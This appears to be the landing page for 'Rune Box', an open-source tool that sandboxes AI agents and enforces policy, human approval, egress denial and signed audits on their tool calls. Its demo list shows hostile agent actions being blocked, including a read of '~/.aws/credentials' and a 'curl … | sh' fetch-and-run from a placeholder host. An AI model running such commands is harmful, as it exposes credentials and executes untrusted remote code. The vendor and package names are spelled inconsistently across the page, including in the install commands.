Rune Box · open source

An environment where your agent can roam freely but with receipts.

Policy, approvals, isolation and signed evidence for the agents you already run.

policy decisionscitadel: ci-agent-42
  1. npm testshell · charter: allowAllowed

    Matches an allow rule for the project’s test commands. audit #0410 · signed

  2. cat ~/.aws/credentialsfile read · charter: denyDenied

    Credential paths are denied by the charter; nothing was read. audit #0411 · signed

  3. git push --force origin mainshell · charter: require-approvalApproved

    Approved by the on-call lead, then run in its environment. audit #0412 · signed

  4. github.create_issueMCP tool · charter: allowAllowed

    The governed MCP tool is allowed for this agent. audit #0413 · signed

  5. curl https://paste.example | shnetwork · egress denied by defaultDenied

    Egress is denied unless a rule allows the host. audit #0414 · signed

  6. retry #4 · same failing callrationing · retry-loop budgetStopped

    Rationing stopped a loop of identical failing calls. audit #0415 · signed

How it works

Every governed action follows one path.

Requestnpm test

Allowed and run

  1. Agent requestThe agent asks to run a tool: a shell command, file access, network call or MCP tool.
  2. PolicyThe charter decides: allow, deny or require approval. Unknown network egress is denied by default.
  3. Approval when requiredRisky actions wait for a human. Nothing runs until someone approves.
  4. LimitsRationing budgets for tokens, time and retries stop runaway loops.
  5. SandboxApproved work runs in an isolated environment with only the mounts and egress it was given.
  6. Signed audit eventEvery decision, including denials and stops, lands in a signed, hash-chained trail.

Sandbox · Citadel

An isolated execution environment for one agent or worker, with its own policy, network rules and audit trail.

Policy · Charter

Glob rules, CEL, OPA/Rego or signed OCI bundles. Test them in CI before they reach an agent.

Approvals · Conclave

Human-in-the-loop decisions for risky actions, attributed to the approver.

Signed audit · Chronicle

Every governed action becomes a signed, chained event you can export and verify anywhere.

Budgets · Rationing

Hard limits on time, executions, egress, tokens, cost and retry loops.

Agent groups · Cohort

Peer workers sharing a task board, each in its own Citadel, without widening a parent’s scope.

Why not just a container?

What Runewrd Labs adds on top of isolation.

  • Tool calls

    Container alone: Executes what the process requests

    With Rune Box: Checks every shell, code, file, network and browser action first

  • Risky actions

    Container alone: Application-specific

    With Rune Box: allow, deny or require-approval, with an attributed decision

  • Network

    Container alone: Usually open unless separately configured

    With Rune Box: Deny-by-default hostname policy; strict L3 enforcement on Kubernetes

  • Limits

    Container alone: CPU and memory

    With Rune Box: Wall-clock, exec, egress, token, cost and retry-loop budgets

  • Audit

    Container alone: Runtime logs

    With Rune Box: Append-only, hash-chained, Ed25519-signed events

  • Handoff

    Container alone: Ad-hoc logs and folders

    With Rune Box: Workspace archive, recovery snapshots and portable signed evidence

  • Identity

    Container alone: One opaque process

    With Rune Box: Tenant, actor, parent run, provider, model and run lineage

Install

CLI, Python and TypeScript.

Install the CLI for local use; add the SDK for your agent’s language. Local sandboxes need one of these engines:

  • Docker
  • OrbStack
  • Podman
  • Adapters for these frameworks and LangChain.js:
    • LangChain
    • CrewAI
    • LlamaIndex
    • OpenAI Agents
    • Strands
    • Vercel AI SDK
  • Expose governed tools to any MCP-capable IDE or agent
  • Signed installer with checksum verification
# CLI (macOS or Linux)
brew install Runeeward/tap/runebox
runebox quickstart

# Python SDK (3.9+)
python -m pip install runee-box

# TypeScript SDK (Node 18+)
npm install @runebox/sdk
{
  "mcpServers": {
    "runebox": {
      "command": "runebox",
      "args": ["mcp", "--config-dir", ".runebox"]
    }
  }
}

Use it with an agent

Govern the agent you already run.

Expose governed tools over MCP, or place an agent CLI inside a sandbox and run one or many governed workers.

runebox cohort --agent claude --model sonnet \
  build "Build a tested API"

Security posture

Secure defaults, explicit limits.

  • Binds to loopback by default; authentication required before any non-loopback bind
  • TLS required for non-loopback HTTP unless a trusted proxy terminates it
  • Multi-principal RBAC scopes sandboxes, groups and snapshots to their tenant
  • Static tokens and OIDC JWTs share one authorization model

Know the boundary

Policy applies to tool calls through the control plane. Commands typed in an interactive terminal aren’t checked one by one.

Your agents already have access. Ward off the risks.

Start with Guard Community, or run the free local scan today. Agents in automation too? Add the open-source Rune Box.